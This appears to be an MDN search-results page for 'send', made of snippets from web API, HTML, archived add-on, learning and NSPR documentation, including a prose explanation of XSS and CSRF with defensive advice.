ace is used to schedule an asynchronous and non-blocking request to a web server. beacon requests use the http post method and requests typically do not require a response. requests are guaranteed to be initiated before a page is unloaded and they are run to completion, without requiring a blocking request (for example xmlhttprequest). example use cases of the beacon api are logging activity and
sending analytics data to the server. example code of the interfaces described in this document is included in using the beacon api. why use beacon? the beacon interface addresses the needs of analytics and diagnostics code that typically attempts to
send data to a web server before unloading the document.
sending the data any sooner may result in a missed opportunity to gather data. however, ensur...
...to create a no-op loop for several seconds within the unload handler to delay the unload and submit data to a server. not only do these techniques represent poor coding patterns, some of them are unreliable and result in the perception of poor page load performance for the next navigation. the beacon api provides a standard way to address these issues. global context the beacon api's navigator.
sendbeacon() method is used to
send a beacon of data to the server in the global browsing context. the method takes two arguments, the url and the data to
send in the request. the data argument is optional and its type may be an arraybufferview, blob, domstring, or formdata. if the browser successfully queues the request for delivery, the method returns "true" and returns "false" otherwise. worker co...
...the data argument is optional and its type may be an arraybufferview, blob, domstring, or formdata. ...
...And 2 more matches
Fullscreen API - Web APIs
), we call exitfullscreen() on the document to shut off full-screen mode. specifications specification status fullscreen api living standard browser compatibility document.fullscreen the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfullscreen deprecatedchrome full support 71 full support 71 full support 15alternate nam...
...use in new websites.deprecated. not for use in new websites.user must explicitly enable this feature.user must explicitly enable this feature.uses a non-standard name.uses a non-standard name. document.fullscreenelement the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfullscreenelementchrome full support 53prefixed full support 53prefixed prefixed implemented with the vendor prefix: webkitedge ...
...r must explicitly enable this feature.uses a non-standard name.uses a non-standard name.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. document.fullscreenenabled the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfullscreenenabledchrome full support 45 full support 45 full support yesprefixed prefixe...
...And 2 more matches
RTCIceTransport: gatheringstatechange event - Web APIs
gathering candidates, and if so, if it has finished doing so. bubbles no cancelable no interface event event handler property ongatheringstatechange the key difference between gatheringstatechange and icegatheringstatechange is that the latter represents the overall state of the connection including every rtcicetransport used by every rtcrtp
sender and every rtcrtpreceiver on the entire connection. in contrast, gatheringstatechange represents changes to the candidate gathering state for a single transport. examples this example creates a handler for gatheringstatechange events on each rtcrtp
sender associated with a given rtcpeerconnection. here, the addeventlistener() method is called to add a listener for gatheringstatechange events: ...
... every rtcrtpreceiver on the entire connection. in contrast, gatheringstatechange represents changes to the candidate gathering state for a single transport. examples this example creates a handler for gatheringstatechange events on each rtcrtp
sender associated with a given rtcpeerconnection. ...
...ver on the entire connection. in contrast, gatheringstatechange represents changes to the candidate gathering state for a single transport. examples this example creates a handler for gatheringstatechange events on each rtcrtp
sender associated with a given rtcpeerconnection. ...
...And 2 more matches
RTCRtpTransceiver.currentDirection - Web APIs
can examine and set the transceiver's preferred directionality using direction property. syntax var direction = rtcrtptransceiver.currentdirection value a domstring whose value is one of the strings which are a member of the rtcrtptransceiverdirection enumerated type. the rtcrtptransceiverdirection type is an enumeration of string values. ...
...y. syntax var direction = rtcrtptransceiver.currentdirection value a domstring whose value is one of the strings which are a member of the rtcrtptransceiverdirection enumerated type. the rtcrtptransceiverdirection type is an enumeration of string values. each describes how the transceiver's associated rtcrtp
sender and rtcrtpreceiver behave as shown in the table below. ...
...ction value a domstring whose value is one of the strings which are a member of the rtcrtptransceiverdirection enumerated type. the rtcrtptransceiverdirection type is an enumeration of string values. each describes how the transceiver's associated rtcrtp
sender and rtcrtpreceiver behave as shown in the table below. value rtcrtp
sender behavior rtcrtpreceiver behavior "
sendrecv" offers to
send rtp data, and will do so if the other peer accepts the connection and at least one of the
sender's encodings is active1. offers to receive rtp data, and does so if the other peer accepts. "
sendonly" offers to
send rtp data, and will do so if the other peer accepts the connection and at least one of the
sender's encodings is active1. does not offer to recei...
...And 2 more matches
RTCRtpTransceiver - Web APIs
each non-disabled srtp media section is always represented by exactly one transceiver. a transceiver is uniquely identified using its mid property, which is the same as the media id (mid) of its corresponding m-line. ...
...each non-disabled srtp media section is always represented by exactly one transceiver. a transceiver is uniquely identified using its mid property, which is the same as the media id (mid) of its corresponding m-line. ...
... associated with this transceiver. this association is established, when possible, whenever either a local or remote description is applied. this field is null if neither a local or remote description has been applied, or if its associated m-line is rejected by either a remote offer or any answer. receiver read only the rtcrtpreceiver object that handles receiving and decoding incoming media.
sender read only the rtcrtp
sender object responsible for encoding and
sending data to the remote peer. stopped indicates whether or not
sending and receiving using the paired rtcrtp
sender and rtcrtpreceiver has been permanently disabled, either due to sdp offer/answer, or due to a call to stop(). methods setcodecpreferences() a list of rtcrtpcodecparameters objects which override the default...
...And 2 more matches
RTCRtpTransceiverDirection - Web APIs
the rtcrtptransceiverdirection type is an enumerated set of strings which are used to describe the directionality of a rtcrtptransceiver instance. both the preferred direction and the currentdirection properties are of this type. values the rtcrtptransceiverdirection type is an enumeration of string values. each describes how the transceiver's associated rtcrtp
sender and rtcrtpreceiver behave as shown in the table below. ...
... set of strings which are used to describe the directionality of a rtcrtptransceiver instance. both the preferred direction and the currentdirection properties are of this type. values the rtcrtptransceiverdirection type is an enumeration of string values. each describes how the transceiver's associated rtcrtp
sender and rtcrtpreceiver behave as shown in the table below. ...
...lity of a rtcrtptransceiver instance. both the preferred direction and the currentdirection properties are of this type. values the rtcrtptransceiverdirection type is an enumeration of string values. each describes how the transceiver's associated rtcrtp
sender and rtcrtpreceiver behave as shown in the table below. value rtcrtp
sender behavior rtcrtpreceiver behavior "
sendrecv" offers to
send rtp data, and will do so if the other peer accepts the connection and at least one of the
sender's encodings is active1. offers to receive rtp data, and does so if the other peer accepts. "
sendonly" offers to
send rtp data, and will do so if the other peer accepts the connection and at least one of the
sender's encodings is active1. does not offer to recei...
...And 2 more matches
Writing WebSocket client applications - Web APIs
.example.com/socketserver", ["protocolone", "protocoltwo"]); once the connection is established (that is, readystate is open), examplesocket.protocol will tell you which protocol the server selected. establishing a websocket relies on the http upgrade mechanism, so the request for the protocol upgrade is implicit when we address the web server as ws://www.example.com or wss://www.example.com.
sending data to the server once you've opened your connection, you can begin transmitting data to the server. to do this, simply call the websocket object's
send() method for each message you want to
send: examplesocket.
send("here's some text that the server is urgently awaiting!"); you can
send data as a string, blob, or arraybuffer. as establishing a connection is asynchronous and prone to fail...
...your connection, you can begin transmitting data to the server. to do this, simply call the websocket object's
send() method for each message you want to
send: examplesocket.
send("here's some text that the server is urgently awaiting!"); you can
send data as a string, blob, or arraybuffer. as establishing a connection is asynchronous and prone to failure there is no guarantee that calling the
send() method immediately after creating a websocket object will be successful. ...
...d for each message you want to
send: examplesocket.
send("here's some text that the server is urgently awaiting!"); you can
send data as a string, blob, or arraybuffer. as establishing a connection is asynchronous and prone to failure there is no guarantee that calling the
send() method immediately after creating a websocket object will be successful. we can at least be sure that attempting to
send data only takes place once a connection is established by defining an onopen event handler to do the work: examplesocket.onopen = function (event) { examplesocket.
send("here's some text that the server is urgently awaiting!"); }; using json to transmit objects one handy thing you can do is use json to
send reasonably complex data to the server. for example, a chat program can interact with ...
...And 2 more matches
<input type="submit"> - HTML: Hypertext Markup Language
<input> elements of type submit are rendered as buttons. when the click event occurs (typically because the user clicked the button), the user agent attempts to submit the form to the server. <input type="submit" value="
send request"> value a domstring used as the button's label events click supported common attributes type and value idl attributes value methods none value an <input type="submit"> element's value attribute contains a domstring which is displayed as the button's label. buttons do not have a true value otherwise. <input type="submit" value="
send request"> if you don't specify a value, the button will have a default label, chosen by the user agent. this label is likely to be something along the lines...
... submit the data. this takes precedence over the action attribute on the <form> element that owns the <input>. this attribute is also available on <input type="image"> and <button> elements. formenctype a string that identifies the encoding method to use when submitting the form data to the server. there are three permitted values: application/x-www-form-urlencoded this, the default value,
sends the form data as a string after url encoding the text using an algorithm such as encodeuri(). multipart/form-data uses the formdata api to manage the data, allowing for files to be submitted to the server. you must use this encoding type if your form includes any <input> elements of type file (<input type="file">). text/plain plain text; mostly useful only for debugging, so you can easily se...
...m>, that button will be treated as the "submit" button. so you should be in the habit of expressly specifying which button is the submit button. a simple submit button we'll begin by creating a form with a simple submit button: <form> <div> <label for="example">let's submit some text</label> <input id="example" type="text" name="text"> </div> <div> <input type="submit" value="
send"> </div> </form> this renders like so: try entering some text into the text field, and then submitting the form. upon submitting, the data name/value pair gets sent to the server. in this instance, the string will be text=usertext, where "usertext" is the text entered by the user, encoded to preserve special characters. where and how the data is submitted depends on the configuration of t...
...And 2 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
available, depending on the device and user agent. the <input> element is one of the most powerful and complex in all of html due to the sheer number of combinations of input types and attributes. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. <input> types how an <input> works varies considerably depending on the value of its type attribute, hence the different types are covered in their own separate reference pages. if this attribute is not specified, the default type adopted is text. the available types are as follows: type description basic examples spec button a...
...ed for accessibility autocomplete all hint for form autofill feature autofocus all automatically focus the form control when the page is loaded capture file media capture input method in file upload controls checked radio, checkbox whether the command or control is checked dirname text, search name of form field to use for
sending the element's directionality in form submission disabled all whether the form control is disabled form all associates the control with a form element formaction image, submit url to use for form submission formenctype image, submit form data set encoding type to use for form submission formmethod image, submit http meth...
...l submit button. see the image input type. non-standard attributes the following non-standard attributes are also available on some browsers. as a general rule, you should avoid using them unless it can't be helped. attribute description autocorrect a string indicating whether or not autocorrect is on or off. safari only. incremental whether or not to
send repeated search events to allow updating live search results while the user is still editing the value of the field. webkit and blink only (safari, chrome, opera, etc.). mozactionhint a string indicating the type of action that will be taken when the user presses the enter or return key while editing the field; this is used to determine an appropriate label for that key on a virtual k...
...And 2 more matches
Communicating using "postMessage" - Archive of obsolete content
as an alternative to port, content modules support the built-in message event. in most cases port is preferable to message events. however, the context-menu module does not support port, so to
send messages from a content script to the add-on via a context menu object, you must use message events. handling message events in the content script to
send a message from a content script, you use the postmessage function of the global self object: self.postmessage(contentscriptmessage); this takes a single parameter, the message payload, which may be any json-serializable value. to receive a message from the add-on script, use self's on function: self.on("message", function(addonmessage) { // handle the message }); like all event-registration functions, this takes two parameters: the nam...
...h may be any json-serializable value. to receive a message from the add-on script, use self's on function: self.on("message", function(addonmessage) { // handle the message }); like all event-registration functions, this takes two parameters: the name of the event, and the handler function. the handler function is passed the message payload. handling message events in the add-on script to
send a message to a content script, use the worker's postmessage function. again, panel and page integrate worker directly: // post a message to the panel's content scripts panel.postmessage(addonmessage); however, for page-mod objects you need to listen to the onattach event and use the worker supplied to that: var pagemod = require('sdk/page-mod').pagemod({ include: ['*'], contentscript: pag...
...now we have to embed the event type in the message payload, and implement a switch function in the receiver to dispatch the message: var pagemodscript = "window.addeventlistener('mouseover', function(event) {" + ...
...ing());" + "}, false);"; var pagemod = require('sdk/page-mod').pagemod({ include: ['*'], contentscript: pagemodscript, onattach: function(worker) { worker.on('message', function(message) { console.log('mouseover: ' + message); }); } }); the reason to prefer user-defined events is that as soon as you need to
send more than one type of message, then both
sending and receiving messages gets more complex. suppose the content script wants to
send mouseout events as well as mouseover. now we have to embed the event type in the message payload, and implement a switch function in the receiver to dispatch the message: var pagemodscript = "window.addeventlistener('mouseover', function(event) {" + " self.postmessage({" + ...
Connecting to Remote Content - Archive of obsolete content
you can see that an instance of the xmlhttprequest class is created and it holds all functionality for making a request. we create this instance using xpcom instead of the usual way (new xmlhttprequest()) because this way works both in chrome and non-chrome code. following initialization, onload and o...
...ext. if the response is an xml document, the responsexml property will hold an xmldocument object that can be manipulated using dom methods. sometimes the server doesn't specify an xml content-type header, which is necessary for the xml parsing to happen automatically. you can use overridemimetype to force the response to be parsed as xml. request.overridemimetype("text/xml"); // do this before
sending the request! the open method takes two required parameters: the http request method and the url to
send the request. the http request method can be "get", "post" or "put".
sending a post request requires you to set the content type of the request and to pass the post data to the
send() method as below. request.open("post", url, true); request.setrequestheader("content-type", "application/x-...
...in synchronous mode the code and user interface are blocked while waiting for a response to come back. ...
...in synchronous mode the code and user interface are blocked while waiting for a response to come back. note: requests can take a long time to process and you don't want users to be stuck waiting while a request is obtained and processed. therefore, it is very important that xmlhttprequest calls are always done asynchronously. ...
Observer Notifications - Archive of obsolete content
for example, you might want to notify that a task is completed, and then several different actions must be performed. you could do that by calling all those functions directly, but xpcom offers you a better and cleaner way to achieve that using observers and the observer service. an observer is an object that is responsible to observe (wait for) notifications and then to carry out subsequent actions. to create an observer, you need to implement the nsiobserver interface. the interface has only one method observe() which takes three parameters. ...
...th firefox or other extensions topics. to remove an observer for a specific topic, you use the removeobserver method. the method takes the observer object and notification topic as parameters. observerservice.removeobserver(testobserver, "xulschoolhello-test-topic"); after you have registered some observers to listen to a notification topic, you can then use the notifyobservers method to
send a notification to all of them. the method takes three parameters. the first parameter can be any xpcom object to pass to those observers (can be null), the second parameter is the notification topic and the last parameter is an additional string to pass to those observers (can be null). observerservice.notifyobservers(null, "xulschoolhello-test-topic", "hello"); non-chrome to chrome communi...
...hello-test-topic", "hello"); non-chrome to chrome communication non-chrome to chrome communication is one of the main uses of observers. by non-chrome we mean javascript code modules or xpcom. as we saw in previous sections, you can use javascript code module and xpcom objects very easily from the chrome. but given that chrome is window-dependent and non-chrome objects are not, it's tricky to
send a message to the chrome. you would have to invoke a method for the chrome objects in all windows. it's much easier to use observers in this case. let's see the following example code on how to
send out a notification from non-chrome code. /** * notifies all the registered observers with the test notification topic. */ notifytest : function() { let observerservice = components.classes["@mo...
...x windows open, the observer will be notified in both and the alerts will show up on both. you can always listen for multiple notification topics using the same observer. also, be careful not to add the same observer to a notification topic more than once, otherwise the same code in the observer will be run several times when a notification is sent. useful firefox notifications we have covered
sending and receiving custom notification topics using observers and the observer service. in firefox, there are many built-in observer topics that you can observe as well. the observer notifications page lists some useful topics and is definitely worth spending time studying it. « previousnext » this tutorial was kindly donated to mozilla by appcoast. ...
Menus - Archive of obsolete content
spell-no-suggestions the no spelling suggestions item - notable as it is the first item on the context menu. ...
...l-no-suggestions the no spelling suggestions item - notable as it is the first item on the context menu. ...
... copies an email address mailto: links context-copylink copies a link links context-viewimage views an image at full size images context-copyimage-contents copies an image to the clipboard images context-copyimage copies the url of an image to the clipboard images context-saveimage saves an image images context-
sendimage
sends an image in an email images context-setdesktopbackground sets an image as the desktop background images context-blockimage blocks an image images context-back goes back a page context-forward goes forward a page context-reload reloads a page context-stop stops loading a page ...
...ktop background images context-blockimage blocks an image images context-back goes back a page context-forward goes forward a page context-reload reloads a page context-stop stops loading a page context-bookmarkpage bookmarks a page context-savepage saves a page context-
sendpagetodevice
send page to device context-
sendpage
send page in an email context-viewbgimage views a background image context-undo undo editable text context-cut cuts to clipboard editable text context-copy copies to clipboard context-paste pastes from clipboard editable text context-del...
Building Trees - Archive of obsolete content
ate the same result on screen to the user as with the tree builder. compare the example with a tree builder and the same example using a content builder. ...
...sult on screen to the user as with the tree builder. compare the example with a tree builder and the same example using a content builder. ...
...nt builder. ...
...<treecol id="subject" label="subject" flex="3"/> <treecol id="
sender" label="
sender" flex="2"/> <treecol id="date" label="date" flex="1"/> </treecols> <template> <query> select subject,
sender, date from messages </query> <action> <treechildren> <treeitem uri="?"> <treerow> <treecell label="?subject"/> <treecell label="?
sender"/> <treecell label="?date"/> </treerow> </treeitem> </treechildren> </action> </template> </tree> features of the tree builder besides the label of a cell, there are several other cell properties you can set when using the tree builder. the supported properties are: label, mode, properties, src and value. the label attribute is used to set the label fo...
Using workers in extensions - Archive of obsolete content
ates not only how to use workers in an extension, but also how to perform xmlhttprequest in a worker, and how workers and main thread code can pass data back and forth. the worker the worker thread's job in this example is to issue the xmlhttprequest calls that fetch the updated stock information. that's all it does. every 10 minutes, it calls xmlhttprequest, and, when the results are received,
sends an event back to the main thread with the received data. so we need to move the refreshinformation() method from the stockwatcher2.js file into a separate file that will host the worker thread. that file, ticker_worker.js, is shown here: var symbol = ""; function refreshinformation() { if (!symbol) { throw "no symbol set!"; } var fullurl = "http://quote.yahoo.com/d/quotes.csv?f...
...it starts by setting up an interval handler (in lines 26-28) that calls refreshinformation() every 10 minutes. ...
...(this.tickersymbol); }, the worker is set up and configured here in lines 13-22: line 13 instantiates a new worker, specifying the uri of the ticker_worker.js file. lines 17-20 change the definition of the worker's onmessage handler so that when the worker calls back to the main thread, the main thread's value of this is correctly the main thread's object instead of the worker's. line 22
sends a message to the ticker thread to tell it what symbol to monitor. the observe() method this method's job is to update which stock is being monitored when the user changes the preferences. it needs to be updated to post a message to the worker to tell it which stock symbol to track. observe: function(subject, topic, data) { if (topic != "nspref:changed") { return; } swi...
...ost a message to the worker to tell it which stock symbol to track. observe: function(subject, topic, data) { if (topic != "nspref:changed") { return; } switch(data) { case "symbol": this.tickersymbol = this.prefs.getcharpref("symbol").touppercase(); this.worker.postmessage(this.tickersymbol); break; } }, the key here is line 10, which
sends the new ticker symbol to monitor to the ticker thread by calling its postmessage() method. this results in the ticker's onmessage handler being called. the watchstock() and refreshinformation() methods these two methods are very simple. watchstock() is updated to pass the symbol to the ticker thread, and refreshinformation(), whose main functionality is now in the worker, is updated to simply ...
Debug.write - Archive of obsolete content
example this example uses the debug.write function to display the value of the variable in the immediate window of the script debugger. ...
... example this example uses the debug.write function to display the value of the variable in the immediate window of the script debugger. ...
... example this example uses the debug.write function to display the value of the variable in the immediate window of the script debugger. ...
... example this example uses the debug.write function to display the value of the variable in the immediate window of the script debugger. note: to run this example, you must have a script debugger installed and the script must run in debug mode. ...
How does the Internet work? - Learn web development
complicated quickly. if you're trying to connect, say, ten computers, you need 45 cables, with nine plugs per computer! to solve this problem, each computer on a network is connected to a special tiny computer called a router. this router has only one job: like a signaler at a railway station, it makes sure that a message sent from a given computer arrives at the right destination computer. to
send a message to computer b, computer a must
send the message to the router, which in turn forwards the message to computer b and makes sure the message is not delivered to computer c. once we add a router to the system, our network of 10 computers only requires 10 cables: a single plug for each computer and a router with 10 plugs. a network of networks so far so good. but what about connecting ...
... already connects your house with anyone in the world so it is the perfect wire we need. to connect our network to the telephone infrastructure, we need a special piece of equipment called a modem. this modem turns the information from our network into information manageable by the telephone infrastructure and vice versa. so we are connected to the telephone infrastructure. the next step is to
send the messages from our network to the network we want to reach. to do that, we will connect our network to an internet service provider (isp). an isp is a company that manages some special routers that are all linked together and can also access other isps' routers. so the message from our network is carried through the network of isp networks to the destination network. the internet consists of t...
... we will connect our network to an internet service provider (isp). an isp is a company that manages some special routers that are all linked together and can also access other isps' routers. so the message from our network is carried through the network of isp networks to the destination network. the internet consists of this whole infrastructure of networks. finding computers if you want to
send a message to a computer, you have to specify which one. thus any computer linked to a network has a unique address that identifies it, called an "ip address" (where ip stands for internet protocol). it's an address made of a series of four numbers separated by dots, for example: 192.168.2.10. that's perfectly fine for computers, but we human beings have a hard time remembering that sort of addre...
...nternet and the web as you might notice, when we browse the web with a web browser, we usually use the domain name to reach a website. does that mean the internet and the web are the same thing? it's not that simple. as we saw, the internet is a technical infrastructure which allows billions of computers to be connected all together. among those computers, some computers (called web servers) can
send messages intelligible to web browsers. the internet is an infrastructure, whereas the web is a service built on top of the infrastructure. it is worth noting there are several other services built on top of the internet, such as email and irc. next steps how the web works understanding the difference between a web page, a web site, a web server and a search engine understanding domain names...
What is a web server? - Learn web development
ugh the domain names of the websites it stores, and it delivers the content of these hosted websites to the end user's device. at the most basic level, whenever a browser needs a file that is hosted on a web server, the browser requests the file via http. when the request reaches the correct (hardware) web server, the (software) http server accepts the request, finds the requested document, and
sends it back to the browser, also through http. (if the server doesn't find the requested document, it returns a 404 response instead.) to publish a website, you need either a static or a dynamic web server. a static web server, or stack, consists of a computer (hardware) with an http server (software). we call it "static" because the server
sends its hosted files as-is to your browser. a dynami...
... for example, to produce the final webpages you see in the browser, the application server might fill an html template with content from a database. sites like mdn or wikipedia have thousands of webpages. ...
...from a database. sites like mdn or wikipedia have thousands of webpages. typically, these kinds of sites are composed of only a few html templates and a giant database, rather than thousands of static html documents. this setup makes it easier to maintain and deliver the content. active learning there is no active learning available yet. deeper dive to review: to fetch a webpage, your browser
sends a request to the web server, which searches for the requested file in its own storage space. upon finding the file, the server reads it, processes it as-needed, and
sends it to the browser. let's look at those steps in more detail. hosting files first, a web server has to store the website's files, namely all html documents and their related assets, including images, css stylesheets, javascrip...
... client's http request. when requesting a file via http, clients must provide the file's url. the web server must answer every http request, at least with an error message. on a web server, the http server is responsible for processing and answering incoming requests. upon receiving a request, an http server first checks if the requested url matches an existing file. if so, the web server
sends the file content back to the browser. if not, an application server builds the necessary file. if neither process is possible, the web server returns an error message to the browser, most commonly 404 not found. (the 404 error is so common that some web designers devote considerable time and effort to designing 404 error pages.) static vs. dynamic content roughly speaking, a server can serve...
Fetching data from the server - Learn web development
t make it possible, such as xmlhttprequest and the fetch api. prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to fetch data from the server and use it to update the contents of a web page. what is the problem here? originally page loading on the web was simple — you'd
send a request for a website to a server, and as long as nothing went wrong, the assets that made the web page would be downloaded and displayed on your computer. the trouble with this model is that whenever you want to update any part of the page, for example, to display a new set of products or load a new page, you've got to load the entire page again. this is extremely wasteful and results in a ...
...owing below your last addition. you'll see that inside the onload event handler we are setting the textcontent of the poemdisplay (the <pre> element) to the value of the request.response property. request.onload = function() { poemdisplay.textcontent = request.response; }; the above is all set up for the xhr request — it won't actually run until we tell it to, which is done using the
send() method. add the following below your previous addition to complete the function. this line should rest just above the closing curly brace of your updatedisplay() function. request.
send(); one problem with the example as it stands is that it won't show any of the poem when it first loads. to fix this, add the following two lines at the bottom of your code (just above the closing </scrip...
... so what is going on in the fetch code? first of all, w...
... load the example in your browser (running it through a web server) and it should work just the same as the xhr version, provided you are running a modern browser. so what is going on in the fetch code? first of all, we invoke the fetch() method, passing it the url of the resource we want to fetch. this is the modern equivalent of request.open() in xhr, plus you don't need any equivalent to .
send(). after that, you can see the .then() method chained onto the end of fetch() — this method is a part of promises, a modern javascript feature for performing asynchronous operations. fetch() returns a promise, which resolves to the response sent back from the server — we use .then() to run some follow-up code after the promise resolves, which is the function we've defined inside it. this is ...
Working with JSON - Learn web development
you'll come across it quite often, so in this article we give you all you need to work with json using javascript, including parsing json so you can access data within it, and creating json. ...
... in this case get is fine, as we are just retrieving some simple data. the url to make the request to — this is the url of the json file that we stored earlier. next, add the following two lines — here we are setting the responsetype to json, so that xhr knows that the server will be returning json, and that this should be converted behind the scenes into a javascript object. then we
send the request with the
send() method: request.responsetype = 'json'; request.
send(); the last bit of this section involves waiting for the response to return from the server, then dealing with it. add the following code below your previous code: request.onload = function() { const superheroes = request.response; populateheader(superheroes); showheroes(superheroes); } here we are st...
...tion. converting between objects and text the above example was simple in terms of accessing the javascript object, because we set the xhr request to convert the json response directly into a javascript object using: request.responsetype = 'json'; but sometimes we aren't so lucky — sometimes we receive a raw json string, and we need to convert it to an object ourselves. and when we want to
send a javascript object across the network, we need to convert it to json (a string) before
sending. luckily, these two problems are so common in web development that a built-in json object is available in browsers, which contains the following two methods: parse(): accepts a json string as a parameter, and returns the corresponding javascript object. stringify(): accepts an object as a parameter...
... in our heroes-finished-json-parse.html example (see the source code) — this does exactly the same thing as the example we built up earlier, except that we set the xhr to return the raw json text, then used parse() to convert it to an actual javascript object. the key snippet of code is here: request.open('get', requesturl); request.responsetype = 'text'; // now we're getting a string! request.
send(); request.onload = function() { const superheroestext = request.response; // get the string from the response const superheroes = json.parse(superheroestext); // convert it to an object populateheader(superheroes); showheroes(superheroes); } as you might guess, stringify() works the opposite way. try entering the following lines into your browser's javascript console one by one to see ...
Website security - Learn web development
ul when the web application either trusts, or is not paranoid enough about the data coming from the browser. cross-site scripting (xss) xss is a term used to describe a class of attacks that allow an attacker to inject client-side scripts through the website into the browsers of other users. because the injected code comes to the browser from the site, the code is trusted and can do things like
send the user's site authorization cookie to the attacker. when the attacker has the cookie, they can log into a site as though they were the user and do anything the user can, such as access their credit card details, see contact details, or change passwords. note: xss vulnerabilities have been historically more common than any other type of security threat. the xss vulnerabilities are divided in...
...ng their contact information. a persistent xss vulnerability occurs when the malicious script is stored on the website and then later redisplayed unmodified for other users to execute unwittingly. for example, a discussion board that accepts comments that contain unmodified html could store a malicious script from an attacker. when the comments are displayed, the script is executed and can
send to the attacker the information required to access the user's account. this sort of attack is extremely popular and powerful, because the attacker might not even have any direct engagement with the victims. while the data from post or get requests is the most common source of xss vulnerabilities, any data from the browser is potentially vulnerable, such as cookie data rendered by the browser,...
...ries) is escaped. note: this section draws heavily on the information in wikipedia here. cross-site request forgery (csrf) csrf attacks allow a malicious user to execute actions using the credentials of another user without that user’s knowledge or consent. this type of attack is best explained by example. john is a malicious user who knows that a particular site allows logged-in users to
send money to a specified account using an http post request that includes the account name and an amount of money. john constructs a form that includes his bank details and an amount of money as hidden fields, and emails it to other site users (with the submit button disguised as a link to a "get rich quick" site). if a user clicks the submit button, an http post request will be sent to the server c...
...ck here is that john doesn't need to have access to the user's cookies (or access credentials). the browser of the user stores this information and automatically includes it in all requests to the associated server. one way to prevent this type of attack is for the server to require that post requests include a user-specific site-generated secret. the secret would be supplied by the server when
sending the web form used to make transfers. this approach prevents john from creating his own form, because he would have to know the secret that the server is providing for the user. even if he found out the secret and created a form for a particular user, he would no longer be able to use that same form to attack every user. web frameworks often include such csrf prevention mechanisms. other thre...
NSPR Poll Method
a layer is already able to make progress in the manner suggested by the polling flags. the arguments and return value of the poll method are described below. in_flags [input argument] the in_flags argument specifies the events at the top layer of the i/o layer stack that the caller is interested in. for pr_recv, you should pass pr_poll_read as the in_flags argument to the poll method for pr_
send, you should pass pr_poll_write as the in_flags argument to the poll method out_flags [output argument] if an i/o layer is ready to satisfy the i/o request defined by in_flags without involving the underlying network transport, its poll method sets the corresponding event in *out_flags on return. for example, consider an i/o layer that buffers input data. if the caller wishes to test for read r...
...your own implementation of the bottom layer, you must call the poll method as follows. declare two print16 variables to receive the return value and the out_flags output argument of the poll method. print16 new_flags, out_flags; if you are going to call pr_recv, pass pr_poll_read as the in_flags argument. ...
...t argument of the poll method. print16 new_flags, out_flags; if you are going to call pr_recv, pass pr_poll_read as the in_flags argument. new_flags = fd->methods->poll(fd, pr_poll_read, &out_flags); if you are going to call pr_
send, pass pr_poll_write as the in_flags argument. new_flags = fd->methods->poll(fd, pr_poll_write, &out_flags); if you are interested in calling both pr_recv and pr_
send on the same file descriptor, make two separate calls to the poll method, one with pr_poll_read as in_flags and the other with pr_poll_write as in_flags, so that you know what events at the network transport layer pr_poll_read and pr_poll_write are mapped to, respectively. on return, if (new_flags & out_flags) is nonzero, you can try pr_recv or pr_
send immediately. otherwise ((new_flags & out_flag...
...s and the other with pr_poll_write as in_flags, so that you know what events at the network transport layer pr_poll_read and pr_poll_write are mapped to, respectively. on return, if (new_flags & out_flags) is nonzero, you can try pr_recv or pr_
send immediately. otherwise ((new_flags & out_flags) is 0), you should do the following. if new_flags contains pr_poll_read, you should try pr_recv or pr_
send when the underlying network transport is readable if new_flags contains pr_poll_write, you should try pr_recv or pr_
send when the underlying network transport is writable important do not use out_flags in any way other than testing if (new_flags & out_flags) is 0. this is how pr_poll (the primary user and hence the de facto specification of the poll method) uses out_flags. original document i...
PRSockOption
enumeration type used in the option field of prsocketoptiondata to form the name portion of a name-value pair. syntax #include <prio.h> typedef enum prsockoption { pr_sockopt_nonblocking, pr_sockopt_linger, pr_sockopt_reuseaddr, pr_sockopt_keepalive, pr_sockopt_recvbuffersize, pr_sockopt_
sendbuffersize, pr_sockopt_iptimetolive, pr_sockopt_iptypeofservice, pr_sockopt_addmember, pr_sockopt_dropmember, pr_sockopt_mcastinterface, pr_sockopt_mcasttimetolive, pr_sockopt_mcastloopback, pr_sockopt_nodelay, pr_sockopt_maxsegment, pr_sockopt_last } prsockoption; enumerators the enumeration has the following enumerators: pr_sockopt_nonblocking nonblocking i/o. pr_sockopt_linger time to linger on close if data is present in the socket
send buffer. pr_sockopt_r...
... pr_sockopt_iptimetolive ip time-to-live. pr_sockopt_iptypeofservice ip type-of-service and precedence. pr_sockopt_addmember join an ip multicast group. ...
... pr_sockopt_iptimetolive ip time-to-live. pr_sockopt_iptypeofservice ip type-of-service and precedence. pr_sockopt_addmember join an ip multicast group. ...
...o-live. pr_sockopt_iptypeofservice ip type-of-service and precedence. pr_sockopt_addmember join an ip multicast group. pr_sockopt_dropmember leave an ip multicast group. pr_sockopt_mcastinterface ip multicast interface address. pr_sockopt_mcasttimetolive ip multicast time-to-live. pr_sockopt_mcastloopback ip multicast loopback. pr_sockopt_nodelay disable nagle algorithm. don't delay
send to coalesce packets. pr_sockopt_maxsegment maximum segment size. pr_sockopt_last always one greater than the maximum valid socket option numerator. description the prsockoption enumeration consists of all the socket options supported by nspr. the option field of prsocketoptiondata should be set to an enumerator of type prsockoption. ...
PR_TransmitFile
hlen length of the headers buffer in bytes. flags one of the following flags: pr_transmitfile_keep_open indicates that the socket will be kept open after the data is sent. ...
... hlen length of the headers buffer in bytes. flags one of the following flags: pr_transmitfile_keep_open indicates that the socket will be kept open after the data is sent. ...
